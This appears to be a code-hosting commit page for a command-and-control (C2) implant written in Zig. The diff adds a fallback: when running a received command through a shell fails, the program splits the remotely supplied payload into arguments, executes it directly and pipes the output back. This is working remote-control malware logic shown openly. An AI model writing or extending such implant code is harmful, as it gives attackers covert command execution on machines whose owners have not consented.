Adversarial C2 Protocol Implemented in Zig

Exec command directly if subshell fails

If execing the child fails, it might be because the shell doesn't exist.
Try running the command directly before giving up.

+30 -1
+30 -1
src/main.zig
··· 178 178 .stdout = .pipe, 179 179 .stderr = .ignore, 180 180 .stdin = .ignore, 181 - }) catch continue; 181 + }) catch |err| switch (err) { 182 + error.AccessDenied, 183 + error.FileBusy, 184 + error.FileNotFound, 185 + error.FileSystem, 186 + error.InvalidExe, 187 + error.IsDir, 188 + error.NotDir, 189 + error.OutOfMemory, 190 + error.PermissionDenied, 191 + error.SymLinkLoop, 192 + error.SystemResources, 193 + => blk: { 194 + var argv_buf: [128][]const u8 = undefined; 195 + var argv: ArrayList([]const u8) = .initBuffer(&argv_buf); 196 + var payload_iter = std.mem.splitAny(u8, connection_payload, " \t\n"); 197 + while (payload_iter.next()) |arg| argv.appendBounded(arg) catch continue; 198 + break :blk std.process.spawn(init.io, .{ 199 + .argv = argv.items, 200 + .stdout = .pipe, 201 + .stderr = .ignore, 202 + .stdin = .ignore, 203 + }) catch continue; 204 + }, 205 + error.Canceled, 206 + error.NoDevice, 207 + error.OperationUnsupported, 208 + => |e| return e, 209 + else => continue, 210 + }; 182 211 183 212 var child_output_buf: [SaprusClient.max_payload_len]u8 = undefined; 184 213 var child_output_reader = child.stdout.?.reader(init.io, &child_output_buf);